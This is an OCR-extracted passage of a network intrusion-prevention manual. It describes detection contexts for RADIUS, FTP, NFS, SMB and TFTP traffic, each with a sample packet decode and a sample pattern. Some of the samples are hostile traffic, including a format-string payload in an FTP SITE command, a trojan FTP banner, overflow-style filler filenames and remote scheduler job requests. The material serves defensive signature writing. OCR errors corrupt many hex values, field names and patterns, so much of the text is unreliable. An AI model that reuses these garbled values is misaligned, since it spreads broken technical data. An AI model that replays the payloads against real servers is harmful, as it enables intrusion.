	User Datagram Protocol, Src Port: 8984, Dst Port: 1812 RADIUS Protocol Code: Access-Request (1) Packet identifier: 0xl (1) Length: 179 Authenticator: 8edb32a9c4dfef622b72f0bl82715e42 [The response to this request is in frame 2] Attribute Value Pairs AVP: t=Message-Authenticator(80) 1=18 val=78a24bddla9d2462743c7d829e45f783 AVP: t=Service-Type(6) 1=6 val-Framed(2) AVP: t=User-Name(1) 1=15 val=example\user\000 AVP: t=Framed-MTU(12) 1=6 val=1496 AVP: t=Callied-Station-Id(30) 1=28 val=00-19-E2-AI-4B-95:testtest AVP: t=Calling-Station-Id(31) 1=19 val=00-16-CE-68-B7-A0 AVP: t=NAS-Identifier(32) 1=16 val=netscreen-ssg5 AVP: t=NAS-Port-Type(61) 1-6 val-Wireless-802.11(19) AVP: t=EAP-Message(79) 1=19 Last Segment[!] Type:79 Length: 19 EAP fragment: 02010011016578616d706c655c75736572 Extensible Authentication Protocol AVP: t=NAS-IP-Address(4) 1=6 val=172.16.8.216 AVP: t=NAS-Port(5) 1=6 val=1 AVP: t=NAS-Port-ld(87) 1=14 val=STA port # 1 Example of context usage: Context: radius-attr-eap-message pattern: "\x02010011\x"
radius-attr- filter-id (ANY)	Matches the value of a Filter-Id attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attr- framed- appletalk-zone (ANY)	Matches the value of a Framed-Appletalk-Zone attribute.
radius-attr- framed- pool (STC)	Matches the value of a Framed-Pool attribute.
radius-attr- framed- route (ANY)	Matches the value of a Framed-Route attribute.
radius-attr- login- lat-group (ANY)	Matches the value of a Login-LAT-Group attribute.
radius-attr- login- lat-node (ANY)	Matches the value of a Login-LAT-Node attribute.
radius-attr- login- lat-port (ANY)	Matches the value of a Login-LAT-Port attribute.
radius-attr- login- lat-service (ANY)	Matches the value of a Login-LAT-Service attribute.
radius-attr- message- authenticator (ANY)	Matches the value of a Message-Authenticator attribute.
radius-attr- nas- identifier (CTS)	Matches the value of a NAS-Identifier attribute.
radius-attr- nas- port-id (CTS)	Matches the value of a NAS-Port-Id attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attr- proxy- state (ANY)	Matches the value of a Proxy-State attribute.
radius-attr- reply- message (STC)	Matches the value of a Reply-Message attribute.
radius-attr- state (ANY)	Matches the value of a State attribute
radius-attr- tunnel- assignment-id (ANY)	Matches the value of a Tunnel-Assignemnt-Id attribute.
radius-attr- tunnel- client-auth-id (ANY)	Matches the value of a Tunnel-Client-Auth-Id attribute
radius-attr- tunnel- client-endpoint (ANY)	Matches the value of a Tunnel-Client-Endpoint attribute.
radius-attr- tunnel- password (STC)	Matches the value of a Tunnel-Password attribute.
radius-attr- tunnel- private-group-id (ANY)	Matches the value of a Tunnel-Private-Group-Id attribute.
radius-attr- tunnel- server-auth-id (ANY)	Matches the value of a Tunnel-Server-Auth-Id attribute.
radius-attr- tunnel- server-endpoint (ANY)	Matches the value of a Tunnel-Server-Endpoint attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attr- user- name (ANY)	Matches the value of a User-Name attribute. Example of field in RADIUS transaction: User Datagram Protocol, Src Port: 1645, Dst Port: 1812 RADIUS Protocol Code: Access-Request (1) Packet identifier: 0x9 (9)
	Length: 137 Authenticator: el0b7f33831bfe36009b5f477eff41b3 [The response to this request is in frame 2] Attribute Value Pairs AVP: t=NAS-IP-Address(4) 1=6 val=10.2.1.96 A VP: t=NAS-Port(5) 1=6 val=2 AVP: t=NAS-Port-Type(61) 1-6 val=Virtual(5) AVP: t=User-Name(1) 1=70 val=testaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
	Example of context usage: Context: radius-attr-user-name pattern: "test"
radius-attr- user- password (CTS)	Matches the value of a User-Password attribute.
radius-attr- vendor- specific (ANY)	Matches the value of a Vendor-Specific attribute.

Table 56: Service Contexts: RADIUS (Continued)

Context and Direction	Description Example of Contexts
radius-attribute (ANY)	Matches any RADIUS attribute, including the type, length and value. Example of field in RADIUS transaction:
	User Datagram Protocol, Src Port: 1645, Dst Port: 1812 RADIUS Protocol Code: Access-Request (1) Packet identifier: 0x9 (9) Length: 137 Authenticator: el0b7f33831bfe36009b5f477eff41b3 [The response to this request is in frame 2] Attribute Value Pairs AVP: t=NAS-IP-Address(4) 1=6 val=10.2.1.96 Example of context usage: Context: radius-attribute pattern: "NAS-IP-Address"

File Transfer Contexts

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Service Contexts: NFS | 340

• Service Contexts: SMB | 342

• Service Contexts: TFTP | 357

These attack objects and groups are designed to detect known attack patterns and protocol anomalies within the network traffic. You can configure attack objects and groups for FTP as match conditions in IDP policy rules.

Service Contexts: FTP

The table displays the security context details for FTP:

Table 57: Service Contexts: FTP

Context and Direction	Description Example of Contexts
ftp-account (CTS)	Matches the FTP login account name.
ftp-banner (STC)	Matches the banner returned by the server at the start of an FTP session. Example of field in FTP request: 220 EclYpse 's FTP Server is happy to see u;) - have a nice day ! but be cOOI! be Zen! Solar_Trojan ECLYPSE vI.Obeta USER (none) 331 Password required for (none). PASS 230 User (none) logged in. Example of context usage: Context: ftp-banner pattern: "nice"
ftp-command (CTS)	Matches each of the FTP command names Example of field in FTP: USER (none) 331 Password required for (none). PASS Example of context usage: Context: ftp-command pattern: "USER"

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-cwd-pathname (CTS)	Matches the directory name in the CWD command of an FTP session. Example of field in FTP: 230 Restricted user logged in. CWD /www/system 250 "/www/system" is new cwd. Example of context usage: Context: ftp-cwd-pathname pattern: "system"
ftp-dele-pathname (CTS)	Matches the file name in the DELE command of an FTP session. Example of field in FTP: PWD 257 is current directory. DELE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
ftp-get-filename (CTS)	Matches the filename in the GET command of an FTP session. Example of field in FTP: PORT 192,168,1,105,5,161 200 PORT command successful. RETR WinRun.exe 150 Opening BINARY mode data connection for WinRun.exe (811008 bytes). Example of context usage: Context: ftp-get-filename pattern: "WinRun.exe"

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-list-pathname (CTS)	Matches the directory or file name in the LIST command of an FTP session. Example of field in FTP: 250 CWD command successful. LIST 7, J. K@. 7. J. '. 0.? K 7 II F7 GFG.B. N.,. (3> A C C?.? NQICO.FJ C.? IIG\ HJGJ., 0 BANB7, F.I.B CCH. ?. H CB. I7?. II ' t\$3. U I
ftp-mkd-pathname (CTS)	Matches the directory name in the MKD command of an FTP session. Example of field in FTP: MKD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ftp-nlst-pathname (CTS)	Matches the directory or file name in the NLST command of an FTP session.

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-password (CTS)	Matches the FTP login password. Example of field in FTP: 331 Password required for test. PASS foobar 230 User test logged in. Example of context usage: Context: ftp-password pattern: "foo"
ftp-pathname (CTS)	Matches a directory or file name in any of the FTP commands. Example of field in FTP: 230 Restricted user logged in. CWD /www/system 250 "/www/system" is new cwd. Example of context usage: Context: ftp-pathname pattern: "system"
ftp-put-filename (CTS)	Matches the filename in the PUT command of an FTP session. Example of field in FTP: STOR BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-reply-100-line (STC)	Matches the FTP 1yz Positive Preliminary reply. Example of field in FTP: PORT 192,168,1,105,5,161 200 PORT command successful. RETR WinRun.exe 150 Opening BINARY mode data connection for WinRun.exe (811008 bytes). Example of context usage: Context: ftp-reply-100-line pattern: "BINARY"
ftp-reply-200-line (STC)	Matches the FTP 2yz Positive Completion reply. Example of field in FTP: PORT 192,168,1,105,5,161 200 PORT command successful. RETR WinRun.exe 150 Opening BINARY mode data connection for WinRun.exe (811008 bytes). Example of context usage: Context: ftp-reply-200-line pattern: "PORT"
ftp-reply-300-line (STC)	Matches the FTP 3yz Positive Intermediate reply. Example of field in FTP: 220 EclYpse 's FTP Server is happy to see u;) - have a nice day ! but be cOOI! be Zen! Solar_Trojan ECLYPSE vl.Obeta USER (none) 331 Password required for (none). PASS 230 User (none) logged in. Example of context usage: Context: ftp-reply-300-line pattern: "none"
ftp-reply-400-line (STC)	Matches the FTP 4yz Transient Negative Completion reply.

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-reply-500-line (STC)	Matches the FTP 5yz Permanent Negative Completion reply. Example of field in FTP: RMD BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
	Example of context usage: Context: ftp-reply-500-line pattern: "Access"
ftp-reply-line (STC)	Matches the FTP reply line. Example of field in FTP: USER (none) 331 Password required for (none). PASS Example of context usage: Context: ftp-reply-line pattern: "none"
ftp-request (CTS)	Matches FTP request line (command and arguments). Example of field in FTP: USER (none) 331 Password required for (none). PASS Example of context usage: Context: ftp-request pattern: "none"

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-rmd-pathname (CTS)	Matches the directory name in the RMD command of an FTP session. Example of field in FTP: RMD BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
ftp-rnfr-pathname (CTS)	Matches a directory or file name in the RNFR command of an FTP session. Example of field in FTP: 226 Transfer complete. 5 bytes transferred. 0.00 KB/sec. RNFRfilel 350 File or directory exists, ready for destination name. RNTO\file2 250 RNTO command successful. Example of context usage: Context: ftp-rnfr-pathname pattern: "RNFRfile"
ftp-rnto-pathname (CTS)	Matches a directory or file name in the RNTO command of an FTP session. Example of field in FTP: 226 Transfer complete. 5 bytes transferred. 0.00 KB/sec. RNFRfilel 350 File or directory exists, ready for destination name. RNTO\file2 250 RNTO command successful. Example of context usage: Context: ftp-rnto-pathname pattern: "file2"

Table 57: Service Contexts: FTP (Continued)

Context and Direction	Description Example of Contexts
ftp-sitestring (CTS)	Matches the arguments of the SITE command in an FTP session. Example of field in FTP: PASS all2l3ï4e site msg send br AA%18\$*21\$u%19\$hn%18\$*22\$u%20\$hnllll + 220 american FTP server (Version wu-2.6.2(I) Mon Sep 29 23:26:52 BST 2003) ready. Example of context usage: Context: ftp-sitestring pattern: "\[msg_read\L.*"
ftp-smnt-pathname (CTS)	Matches the directory or file name in the SMNT command of an FTP session.
ftp-stat-pathname (CTS)	Matches the directory or file name in the STAT command of an FTP session.
ftp-username (CTS)	Matches the FTP login user name. Example of field in FTP: USER (none) 331 Password required for (none). PASS Example of context usage: Context: ftp-username pattern: "none"

Service Contexts: NFS

The table displays the security context details for NFS:

Table 58: Service Contexts: NFS

Context and Direction	Description Example of Contexts
nfs-create-name (CTS)	Matches the name of a file or directory in the CREATE procedure. Example of field in NFS transaction: User Datagram Protocol, Src Port: 800, Dst Port: 2049 Remote Procedure Call, Type:Call XID:0x5dl0flf6 Network File System, CREATE Call DH: 0x2176f38f/asd%nmv [Program Version: 2] [V2 Procedure: CREATE (9)] where dir Name: asd%nmv Attributes Example of context usage: Context: nfs-create-name pattern: "asd"
nfs-dir-entry (STC)	Matches the name of each directory entry returned by the READDIR procedure.
nfs-link-target (CTS)	Matches the name of the hard link in the LINK procedure.
nfs-lookup-name (CTS)	Matches the name of a file or directory in the LOOKUP procedure. Example of field in NFS transaction: User Datagram Protocol, Src Port: 800, Dst Port: 2049 Remote Procedure Call, Type:Call XID:0x5al0flf6 Network File System, LOOKUP Call DH: 0x2176f38f/asd%nmv [Program Version: 2] [V2 Procedure: LOOKUP (4)] where dir Name: asd%nmv Example of context usage: Context: nfs-lookup-name pattern: "asd"
nfs-mkdir-name (CTS)	Matches the name of a directory in the MKDIR procedure.

Table 58: Service Contexts: NFS (Continued)

Context and Direction	Description Example of Contexts
nfs-mknod-name (CTS)	Matches the name of the special file in the MKNOD procedure.
nfs-readlink-name (STC)	Matches the name returned by the READLINK procedure
nfs-remove-name (CTS)	Matches the name of a file in the REMOVE procedure.
nfs-rename-from (CTS)	Matches the source file or directory name in the RENAME procedure.
nfs-rename-to (CTS)	Matches the destination file or directory name in the RENAME procedure.
nfs-rmdir-name (CTS)	Matches the name of a directory in the RMDIR procedure.
nfs-symlink-source (CTS)	Matches the source of the symbolic link in the SYMLINK procedure.
nfs-symlink-target (CTS)	Matches the target of the symbolic link in the SYMLINK procedure.

Service Contexts: SMB

The table displays the security context details for SMB:

Table 59: Service Contexts: SMB

Context and Direction	Description Example of Contexts
smb-account-name (ANY)	Matches the SMB account name in the SESSION_SETUP_ANDX request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Session Setup AndX Request (0x73) Word Count (WCT): 13 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 0 Max Buffer: 65535 Max Mpx Count: 2 VC Number: 1095 Session Key: 0x00000000 ANSI Password Length: 0 Unicode Password Length: 0 Reserved: 00000000 Capabilities: 0x00000000 Byte Count (BCC): 29 Account: echo"A" Primary Domain: SOLARIUM Native OS: Unix Native LAN Manager: Samba Example of context usage: Context: smb-account-name pattern: "echo"

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-atsvc-request (CTS)	Matches any AT Service requests sent as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function. Example of field in SMB transaction: SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single, FragLen: 128, Call: 1, Ctx: 0, [Resp: #23] Version: 5 Version (minor): 0 Packet type: Request (0) Packet Flags: 0x03 Data Representation: 10000000 (Order: Little-endian, Char: ASCII, Float: IEEE) Frag Length: 128 Auth Length: 16 Call ID: 1 Alloc hint: 76 Context ID: 0 Opnum: 0 [Response in frame: 23] Auth Info: NTLMSSP, Packet privacy, AuthContextId(567952) Microsoft AT-Scheduler Service, JobAdd Example of context usage: Context: smb-atsvc-request pattern: "Microsoft"
smb-atsvc-response (STC)	Matches any AT Service responses received as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function. Example of field in SMB transaction: SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Response, Fragment: Single, FragLen: 64, Call: 1, Ctx: 0, [Req: #21] Microsoft AT-Scheduler Service, JobAdd Example of context usage: Context: smb-atsvc-response pattern: "JobAdd"
smb-browser- request (CTS)	Matches any Browser requests sent as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function.
smb-browser- response (STC)	Matches any Browser responses received as named pipe transactions over the SMB Transport Layer. The first two bytes of this context contains the opcode of the function.

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-called-name (ANY)	Matches the NetBIOS name of the initiator of an SMB session.
smb-calling-name (ANY)	Matches the NetBIOS name of the receiver of an SMB session. Example of field in SMB transaction: Transmission Control Protocol, Src Port: 2376, Dst Port: 139, Seq: 2623204005, Ack: 207078897, Len: 72 NetBIOS Session Service Message Type: Session request (0x81) Flags: 0x00 Length: 68 Called name: SEPTU<20> (Server service) Calling name: PEUGEOT-104Z<00> (Workstation/Redirect or) Example of context usage: Context: smb-calling-name pattern: "PEUGEOT"
smb-connect-path (CTS)	Matches the connect path in the TREE_CONNECT_ANDX request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service Message Type: Session message (0x00) Length: 68 SMB (Server Message Block Protocol) SMB Header Tree Connect AndX Request (0x75) Word Count (WCT): 4 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 0 Flags: 0x0000 Password Length: 1 Byte Count (BCC): 25 Password: 00 Path: \(\frac{\text{\colored} \text{\colored} \col
	Context: smb-connect-path pattern: "SERVER"

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-connect- service (CTS)	Matches the connect service in the TREE_CONNECT_ANDX request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service Message Type: Session message (0x00) Length: 68 SMB (Server Message Block Protocol) SMB Header Tree Connect AndX Request (0x75) Word Count (WCT): 4 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 0 Flags: 0x0000 Password Length: 1 Byte Count (BCC): 25 Password: 00 Path: *SMBSERVER\IPC\\$ Service: \begin{array}{c} ????? \end{array} Example of context usage: Context: smb-connect-service pattern: "???"
smb-copy-filename (CTS)	Matches the filename in the COPY request of an SMB session.
smb-data (ANY)	Matches any SMB data portion. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Write AndX Request (0x2f) This PDU is reassembled in: 20 Data (1024 bytes) Data: 41414141414141414141414141414141414141

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-dce-rpc (ANY)	Matches any DCE/RPC message sent over the SMB Transport Layer. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Bind_ack, Fragment: Single, FragLen: 274, Call: 1 Example of context usage: Context: smb-dce-rpc pattern: "JobAdd"
smb-dce-rpc-bind (CTS)	Matches any DCE/RPC bind message sent over the SMB Transport Layer. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Bind, Fragment: Single, FragLen: 72, Call: 1 Example of context usage: Context: smb-dce-rpc-bind pattern: ".*\x81b07ae6449821\x.*"
smb-dce-rpc-bind- ack (STC)	Matches any DCE/RPC bind-ack message sent over the SMB Transport Layer. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Bind_ack, Fragment: Single, FragLen: 274, Call: 1 Example of context usage: Context: smb-dce-rpc-bind pattern: ".*\xb881b07ae6449821 \x.*"
smb-dce-rpc-bind- nack (STC)	Matches any DCE/RPC bind-nack message sent over the SMB Transport Layer.

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-dce-rpc- request (CTS)	Matches any DCE/RPC request message sent over the SMB Transport Layer. Example of field in SMB transaction: SM R (Sprvpr Message Rlork Protorni) SM B Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Singl FragLen: 128, Call: 1, Clx: 0, [Resp. #23] Microsoft AT-Scheduler Service, JobAdd Example of context usage: Context: smb-dce-rpc-request pattern: "\x 05000003\x"
smb-dce-rpc- request-obj-uuid (CTS)	Matches object UUID of any DCE/RPC request message. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Bind, Fragment: Single, Fragten: 72, Call: 1 Version: 5 Version (minor): 0 Packet type: Bind (11) Packet Flags: 0x03 Data Representation: 10000000 (Order: Little-endian, Char: ASCII, Float: IEEE) Frag Length: 72 Auth Length: 0 Call ID: 1 Max Xmit Frag: 5840 Max Recv Frag: 5840 Assoc Group: 0x00000000 Num Ctx Items: 1 Ctx Item[I]: Context ID: 0, WKSSVC, 32bit NDR Context ID: 0 Num Trans Items: 1 Abstract Syntax: WKSSVC V1.0 Interface: WKSSVC UUID: 6bffd098-ail/2-3610-9833-46c3f87e345a Interface Ver: 1 Interface Ver Minor: 0 Transfer Syntax[I]: 32bit NDR V2 Example of context usage: Context: smb-dce-rpc-request-obj-uuid pattern: "6bffd0"
	Example of context usage:

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-dce-rpc- response (STC)	Matches any DCE/RPC response message sent over the SMB Transport Layer. Example of field in SMB transaction: SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Response, Fragment: Single, FragLen: 64, Call: 1, Ctx: 0, [Req: #21] Microsoft AT-Scheduler Service, JobAdd Example of context usage: Context: smb-dce-rpc-response pattern: "\x 53415f\x"
smb-delete- filename (CTS)	Matches the filename in the DELETE request of an SMB session.
smb-dialect (CTS)	Matches each SMB dialect string in the NEGOTIATE request of an SMB session.
smb-header	Matches any SMB header portion Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Tree Connect AndX Response (0x75) Example of context usage: Context: smb-header pattern: "\x ff534d \x"

Table 59: Service Contexts: SMB (Continued)

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Context and Direction	Description Example of Contexts
smb-lanman-request (CTS)	Matches any LANMAN requests sent as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function. Example of field in SMB transaction: Frame 13: 165 bytes on wire (1320 bits), 165 bytes captured (1320 bits) Ethernet II, Src: XircomRe_8f:e3:e1 (00:10:a4:8f:e3:e1), Dst: 3Com_6d:b8:5e (00:60:97:6d:b8:5e) Internet Protocol Version 4, Src: 10.150.9.101, Dst: 10.150.9.106 Transmission Control Protocol, Src Port: 32851, Dst Port: 139, Seq: 2532017377, Ack: 2456053417, Len: 99 Source Port: 32851 Destination Port: 139 [Stream index: 0] [TCP Segment Len: 99] Sequence number: 2532017377 [Next sequence number: 2532017476] Acknowledgment number: 2456053417 1000 = Header Length: 32 bytes (8) Flags: 0x018 (PSH, ACK) Window size value: 5840 [Calculated window size: 5840] [Window size scaling factor: 1] Checksum: 0x7808 [unverified] Urgent pointer: 0 Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps [SEQ/ACK analysis] [Timestamps] TCP payload (99 bytes) TCP segment data (99 bytes) TCP segment data (99 bytes) TCP segment data (90 bytes) 00 00 00 00 00 00 00 00 00 00 00 00 00

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-lanman-response (STC)	Matches any LANMAN responses received as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Trans Response (0x25) Word Count (WCT): 10 Total Parameter Count: 19 Total Data Count: 0 Reserved: 0000 Parameter Offset: 56 Parameter Offset: 56 Parameter Displacement: 0 Data Count: 0 Data Count: 0 Setup Count: 0 Reserved: 00 Byte Count (BCC): 21 Padding: 00 Padding: 00 Parameters: 2001170000100a007801070078010700690063 Example of context usage: Context: smb-lanman-response pattern: "\x 200117\x"
smb-lsarpc- request (CTS)	Matches any Local Security Authority requests sent as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function.
smb-move- filename (CTS)	Matches the filename in the MOVE request of an SMB session.

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-native- lanman (ANY)	Matches the native LANMAN in the SESSION_SETUP_ANDX request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Session Setup AndX Request (0x73) Word Count (WCT): 13 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 0 Max Buffer: 65535 Max Mpx Count: 2 VC Number: 408 Session Key: 0x00003340 ANSI Password Length: 0 Unicode Password Length: 0 Unicode Password Length: 0 Reserved: 00000000 Capabilities: 0x00000001, Raw Mode Byte Count (BCC): 11 Account: Primary Domain: Native OS: nt Native OS: nt Native OS nt Native LAN Manager: oysmb Example of context usage: Context: smb-native-lanman pattern: "pysmb"
smb-native-os (ANY)	Matches the native OS in the SESSION_SETUP_ANDX request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Session Setup AndX Request (0x73) Word Count (WCT): 13 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 0 Max Buffer: 65535 Max Mpx Count: 2 VC Number: 408 Session Key: 0x00003340 ANSI Password Length: 0 Unicode Password Length: 0 Unicode Password Length: 0 Reserved: 00000000 Capabilities: 0x00000001, Raw Mode Byte Count (BCC): 11 Account: Primary Domain: Native OS: nt Native OS: nt Native IAN Manager: pysmb Example of context usage: Context: smb-native-os pattern: "nt"

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-open-filename (CTS)	Matches the filename in the NT_CREATE_ANDX and OPEN_ANDX requests of an SMB session. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header NT Create AndX Request (0xa2) [FID: 0x4000] Word Count (WCT): 24 AndXCommand: No further commands (0xff) Reserved: 00 AndXOffset: 0 Reserved: 00 File Name Len: 7 Create Flags: 0x000000016 Root FID: 0x00000000 Access Mask: 0x0002019f Allocation Size: 0 File Attributes: 0x00000000 Share Access: 0x00000003, Read, Write Disposition: Open (if file exists open it, else fail) (1) Create Options: 0x00000040 Impersonation: Impersonation (2) Security Flags: 0x03, Context Tracking, Effective Only Byte Count (BCC): 8 File Name: \textit{wkssvc} Example of context usage: Context: smb-open-filename pattern: "wk"
smb-primary- domain (ANY)	Matches the SMB primary domain name in the SESSION_SETUP_ANDX request of an SMB session.

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-rename- filename (CTS)	Matches the filename in the RENAME request of an SMB session. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Rename Request (0x07) Word Count (WCT): 1 Search Attributes: 0x0016, Hidden, System, Directory Byte Count (BCC): 23 Buffer Format: ASCII (4) Old File Name: \test.txt Buffer Format: Unknown (144) File Name: \test2.txt Example of context usage: Context: smb-rename-filename pattern: "\x 53415f\x"
smb-samr-request (CTS)	Matches any Security Account Manager requests sent as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Session Setup AndX Request (0x73) Word Count (WCT): 12 AndXCommand: No further commands (Oxff) Reserved: 00 AndXOffset: 214 Max Buffer: 4356 Max Mpx Count: 10 VC Number: 0 Session Key: 0x00000000 Security Blob Length: 53 Reserved: 00000000 Capabilities: 0xa00000d4, Unicode, NT SMBs, NT Status Codes, Level 2 Oplocks, Dynamic Reauth, Extended Security Byte Count (BCC): 155 Security Blob: 4e544c4d535350000100000097b208e0060006002f000000 Example of context usage: Context: smb-samr-request pattern: \x "4e544c \x"
smb-samr-response (STC)	Matches any Security Account Manager responses received as named pipe transactions over the SMB Transport Layer. The first 2 bytes of this context contains the opcode of the function.

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-session-header	Matches any SMB session header portion Example of field in SMB transaction: NetBIOS Session Service Message Type: Session request (0x81) Flags: 0x00 Length: 68 Called name: *SMBSERVER<20> (Server service) Calling name: IMPACT<00> (Workstation/Redirector) Example of context usage: Context: smb-session-header pattern: "\x 81000044 \x"
smb-srvsvc-request (CTS)	Matches any Server Service requests sent as named pipe transactions over the SMB Transport Layer. The first two bytes of this context contains the opcode of the function. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single FragLen: 104, Call: 1, Ctx: 0, [Resp: #20] Server Service, NetSessEnum Example of context usage: Context: smb-srvsvc-request pattern: "NetSess"
smb-svcctl-request (CTS)	Matches any Service Control Manager requests sent as named pipe transactions over the SMB Transport Layer. The first two bytes of this context contains the opcode of the function. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Pipe Protocol Distributed Computing Environment / Remote Procedure Call (DCE/RPC) Request, Fragment: Single FragLen: 60, Call: 1, Ctx: 0, [Resp: #21] Microsoft Service Control, OpenSCManagerA Example of context usage: Context: smb-svcctl-request pattern: ".*\[OQRSVC\].*"

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-trans2-request (CTS)	Matches any SMB Transaction2 request. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Trans2 Request (0x32) Example of context usage: Context: smb-trans2-request pattern: ".*\[OQRSVC\].*"
smb-trans2- response (STC)	Matches any SMB Transaction2 response. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Trans2 Response (0x32) Example of context usage: Context: smb-trans2-reponse pattern: "\x000000000\x

Table 59: Service Contexts: SMB (Continued)

Context and Direction	Description Example of Contexts
smb-trans2-set-path-info (CTS)	Matches any SMB Transaction2 SET-PATH-INFORMATION request. Example of field in SMB transaction: NetBIOS Session Service SMB (Server Message Block Protocol) SMB Header Trans2 Request (0x32) Word Count (WCT): 15 Total Parameter Count: 10 Total Data Count: 31 Max Parameter Count: 1024 Max Data Count: 65504 Max Setup Count: 0 Reserved: 00 Flags: 0x0000 Timeout: Return immediately (0) Reserved: 0000 Parameter Count: 10 Parameter Count: 10 Parameter Offset: 65 Data Count: 31 Data Offset: 75 Setup Count: 1 Reserved: 00 Subcommand: SET_PATH_INFO (0x0006) Byte Count (BCC): 41 SET_PATH_INFO Parameters SET_PATH_INFO Data Example of context usage: Context: smb-trans2-set-path-info pattern: "SET_PATH_INFO"

Service Contexts: TFTP

The table displays the security context details for TFTP:

Table 60: Service Contexts: TFTP

Context and Direction	Description Example of Contexts
tftp-filename (CTS)	Matches any filename in a TFTP session. Example of field in TFTP transaction: Trivial File Transfer Protocol Opcode: Read Request (1) Source File: "JlyADV/m&T.IT Type [truncated]: - &pu##X36"&I-OR,S)b=4Z,mH:adx=MH%vX.zDAXI\i:4jT2Qj74+.bA9I?[&*fJpmE8qGFy%-\$x*JDe:A,OGT7GR2Te,&It,M68E-G,4C+&It,B~C8HyPt.KjoOw(a)8GLEouW~5(a)oJ&4HIr\357\277\275\006d\357\277\275\0075\277\275\0000000000000000
